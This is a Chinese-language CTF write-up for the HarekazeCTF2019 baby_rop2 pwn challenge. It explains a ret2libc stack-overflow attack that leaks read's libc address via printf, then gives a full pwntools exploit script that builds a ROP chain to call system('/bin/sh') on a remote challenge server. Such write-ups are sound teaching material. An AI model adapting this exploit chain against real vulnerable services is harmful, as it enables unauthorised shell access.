首页 > 其他分享 >[HarekazeCTF2019]baby_rop2(read的libc)

[HarekazeCTF2019]baby_rop2(read的libc)

时间:2025-01-18 16:59:35浏览次数:1  
标签:p64 libc pop HarekazeCTF2019 read baby got addr

image
一个normal的栈溢出,没有system和binsh,为ret2libc
这里也没有常见的write和puts,所以我们用read泄露libc基址,并使用printf打印read的地址
这里注意printf的第一个参数必须是格式字符串,即Welcome to the Pwn World again(地址为0x0400770,第二个参数设为read_got(got表泄露)
再找一下64位传参的寄存器(rdi,rsi,rdx,rcx,r8,r9)
image
这里只用到两个,多个r15也没事,设为0即可
image

exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64')
context.log_level='debug'
io = remote('node5.buuoj.cn',29761)
elf = ELF('./babyrop2')
main = elf.sym['main']
read_got = elf.got['read']
printf_plt=0x04004F0
pop_rdi_addr = 0x0400733
pop_rsi_r15_ret=0x0400731
format_=0x0400770
ret=0x04004d1
payload1 = cyclic(0x20+8) + p64(pop_rdi_addr) + p64(format_)
payload1 += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)
payload1 += p64(printf_plt) 
payload1 += p64(main)
io.sendline(payload1)
read = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read))
libc = LibcSearcher('read',read)
libc_base = read - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = cyclic(0x20+8) + p64(ret) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()

标签:p64,libc,pop,HarekazeCTF2019,read,baby,got,addr
From: https://www.cnblogs.com/fdddddd/p/18678609

相关文章

  • QObject::moveToThread成员函数
    头文件包含......
  • ReadCat阅读器吾爱置顶的神器,好评如潮速度收藏!(附书源)
            你是否还能回想起曾经在课堂上偷偷看小说的时光呢?那种既紧张又兴奋的情绪,就好像刚刚发生过一样。小说于我们而言,不但是舒缓情绪的妙方,更是我们精神世界不可或缺的一部分。 瞧,如今我们已不必再在桌下偷偷摸摸看小说了,可打工人忙碌的生活却让我们很难有时间尽......
  • ThreadPool解析
    Thread_Pool项目解析简介ThreadPool是一个轻量级的C++线程池实现,旨在简化多线程编程。项目分析我们首先上github的项目地址:https://github.com/progschj/ThreadPool,然后克隆项目到本地。点开项目的ThrealPool.h文件,查看源码:#ifndefTHREAD_POOL_H#defineTHREAD_POOL......
  • C++ open()和read()函数使用详解
    对于Framework工程师来说,必要C或者C++编程能力是必须的,像对设备节点的操作是最基本的操作,那么我们便会用到open和read函数。open()函数用于打开文件,而read()函数用于从打开的文件中读取数据。open()函数open()函数是C/C++标准库中的一个POSIX标准函数,用于打开一个文件并返回......
  • Bash和Zsh中read命令的使用区别
    前言:在编写sh脚本的时候,发现使用read命令和预期的效果不一样,,因为shell用的是zsh,查了一下发现bash和zsh中read命令的用法有些区别,这里记录一下。读取字符从标准输入中读取一个或多个字符bash:read-nnuminputzsh:read-knuminput例子:root@hcss-ecs-b5f1~❯read-k......
  • Proj CJI Paper Reading: AdaPPA: Adaptive Position Pre-Fill Jailbreak Attack Appr
    AbstractBackground:目前的jailbreakmutator方式更集中在语义level,更容易被防御措施检查到本文:AdaPPA(AdaptivePositionPre-FilledJailbreakAttack)Task:adaptivepositionpre-filljailbreakattackapproachMethod:利用模型的instructionfollowing能力,先输出p......
  • Proj CJI Paper Reading: A Wolf in Sheep’s Clothing: Generalized Nested Jailbrea
    Abstractbackground:本文认为现有的jailbreaking方法要么需要人力,要么需要大模型,本文不需要本文:ReNELLMTask:JailbreakingLLMblackboxMethod:PromptRewriting,ScenarioNesting,利用被攻击的LLM来生成jailbreakpromptsPromptWriting似乎是每次iterate都......
  • easyexcel doRead bug
    publicclassCarOilingRecordImportVO{/***油卡号*/@ExcelProperty(value="卡号/客户编号")@NotNull(message="卡号/客户编号不能为空")privateStringcardCode;/***车牌号*/@ExcelProperty(value="车辆牌照")......
  • 关于ThreadLocal 保存信息用于存储通用信息
       近期项目中由于使用ThreadLocal 造成一次生产事故,所以对ThreadLocal进行整理说明,来对ThreadLocal进行总结以备后续更好的使用。 一、 ThreadLoca 事故说明  事故说明 首先在程序中定义了静态商家List对象 List<VenderInfo>listVender,并对期进行了数据初始......
  • Proj CJI Paper Reading: A False Sense of Safety: Unsafe Information Leakage in '
    Abstract本文:Tasks:DecompositionAttacks:getinformationleakageofLLMMethod:利用LLM(称为ADVLLM)+Fewshotsexample把一个恶意的问题分成许多小的问题,发送给VictimLLMs,再使用ADVLLM把这些问题的回答拼凑出来得到答案拆分原则是最大化与impermissibleinformat......